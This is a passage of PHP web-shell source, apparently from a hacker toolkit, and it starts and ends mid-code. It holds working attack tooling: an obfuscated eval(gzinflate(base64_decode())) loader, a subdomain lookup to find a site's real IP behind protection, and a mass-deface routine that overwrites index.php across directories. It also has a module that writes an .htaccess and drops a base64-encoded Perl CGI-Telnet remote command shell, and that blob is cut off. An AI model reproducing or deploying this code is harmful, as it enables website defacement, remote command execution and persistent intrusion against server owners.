<input class="inputz" type="text" name="target" value="url">
<input class="inputzbut" type="submit" value="Bypass"></center>
';
$target = $_POST['target'];
# Bypass From FTP
if($_POST['krz'] == "ftp") {
$ftp = gethostbyname("ftp."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$ftp</font></p>";
}
# Bypass From Direct-Connect
if($_POST['krz'] == "direct-conntect") {
$direct = gethostbyname("direct-connect."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$direct</font></p>";
}
# Bypass From Webmail
if($_POST['krz'] == "webmail") {
$web = gethostbyname("webmail."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$web</font></p>";
}
# Bypass From Cpanel
if($_POST['krz'] == "cpanel") {
$cpanel = gethostbyname("cpanel."."$target");
echo "<br><p align='center' dir='ltr'><font face='Tahoma' size='2' color='#00ff00'>Correct
ip is : </font><font face='Tahoma' size='2' color='#F68B1F'>$cpanel</font></p>";
}
}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'jumping')){
eval(gzinflate(base64_decode($jumper))); "</div>"; }
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'hashid')) {
if(isset($_POST['gethash'])){
$hash = $_POST['hash'];
if(strlen($hash)==32){
$hashresult = "MD5 Hash";
}elseif(strlen($hash)==40){
$hashresult = "SHA-1 Hash/ /MySQL5 Hash";
}elseif(strlen($hash)==13){
$hashresult = "DES(Unix) Hash";
}elseif(strlen($hash)==16){
$hashresult = "MySQL Hash / /DES(Oracle Hash)";
}elseif(strlen($hash)==41){
$GetHashChar = substr($hash, 40);
if($GetHashChar == "*"){
$hashresult = "MySQL5 Hash";
}
}elseif(strlen($hash)==64){
$hashresult = "SHA-256 Hash";
}elseif(strlen($hash)==96){
$hashresult = "SHA-384 Hash";
}elseif(strlen($hash)==128){
$hashresult = "SHA-512 Hash";
}elseif(strlen($hash)==34){
if(strstr($hash, '$1$')){
$hashresult = "MD5(Unix) Hash";
}
}elseif(strlen($hash)==37){
if(strstr($hash, '$apr1$')){
$hashresult = "MD5(APR) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$H$')){
$hashresult = "MD5(phpBB3) Hash";
}
}elseif(strlen($hash)==34){
if(strstr($hash, '$P$')){
$hashresult = "MD5(Wordpress) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$5$')){
$hashresult = "SHA-256(Unix) Hash";
}
}elseif(strlen($hash)==39){
if(strstr($hash, '$6$')){
$hashresult = "SHA-512(Unix) Hash";
}
}elseif(strlen($hash)==24){
if(strstr($hash, '==')){
$hashresult = "MD5(Base-64) Hash";
}
}else{
$hashresult = "Hash type not found";
}
}else{
$hashresult = "Not Hash Entered";
}
?>
<center><br><Br><br>
<form action="" method="POST">
<tr>
<table class="tabnet">
<th colspan="5">Hash Identification</th>
<tr class="optionstr"><B><td>Enter Hash</td></b><td>:</td> <td><input type="text" name="hash" size='60' class="inputz" /></td><td><input type="submit" class="inputzbut" name="gethash" value="Identify Hash" /></td></tr>
<tr class="optionstr"><b><td>Result</td><td>:</td><td><?php echo $hashresult; ?></td></tr></b>
</table></tr></form>
</center>
<?php
}
//////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'string')){
$text = $_POST['code'];
?>
<center><form method="post"><br><br><br>
<textarea class='inputz' cols=80 rows=5 name="code"></textarea><br><br>
<select class='inputz' size="1" name="ope">
<option value="base64">Base64</option>
<option value="md5">md5</option>
<option value="whash">Crypt</option>
<option value="SHA1">SHA1</option>
<option value="urlencode">URL Encoding</option>
<option value="md4">md4</option>
<option value="SHA256">SHA256</option>
</select> <input class='inputzbut' type='submit' value='encrypt'></form>
<?php $op = $_POST["ope"];
switch ($op) {case 'base64':
$codi=base64_encode($text);
break;case 'md5' : $codi=md5($text);
break;case 'whash' : $codi=crypt($text);
break;case 'SHA1' : $codi=sha1($text);
break;case 'urlencode' : $codi=urlencode($text);
break;case 'md4' : $codi=hash("md4",$text);
break;case 'SHA256' : $codi=hash("sha256",$text);
break;default:break;}echo '<textarea cols=80 rows=10 class="inputz" readonly>'.$codi.'</textarea></center>';
}
/////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'mass'))
{
echo "<center/><br/><b><font color=#00ff00>-=[ Mass Deface ]=-</font></b><br>";
error_reporting(0);?>
<form ENCTYPE="multipart/form-data" action="<?php $_SERVER['PHP_SELF']?>" method='post'>
<td><table><table class="tabnet" >
<form hethot='post'>
<tr>
<tr>
<td> Folder</td><td><input class ='inputz' type='text' name='path' size='60' value="<?php echo getcwd();?>"></td>
</tr><br>
<tr>
<td>file name</td><td><input class ='inputz' type='text' name='file' size='60' value="index.php"></td>
</tr>
</tr>
<th colspan='2'><b>Index code</b></th><br></table>
<textarea style='background:black;outline:none;' name='index' rows='10' cols='67'>Write your deface code here.. © Xr1pt3d</textarea><br>
<center><input class='inputzbut' type='submit' value=" Deface "></center></form></table><br></form>
<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}
//////////////////////////////////////////////////////////////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'cgi')) {
echo "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1 Bypass Exploit]==--+ </font></b><br><br>";
mkdir('cgitelnet1', 0755);
chdir('cgitelnet1');
$kokdosya = ".htaccess";
$dosya_adi = "$kokdosya";
$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
$metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .cin
AddHandler cgi-script .cin
AddHandler cgi-script .cin";
fwrite ( $dosya , $metin ) ;
fclose ($dosya);
$cgishellizocin = 'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tL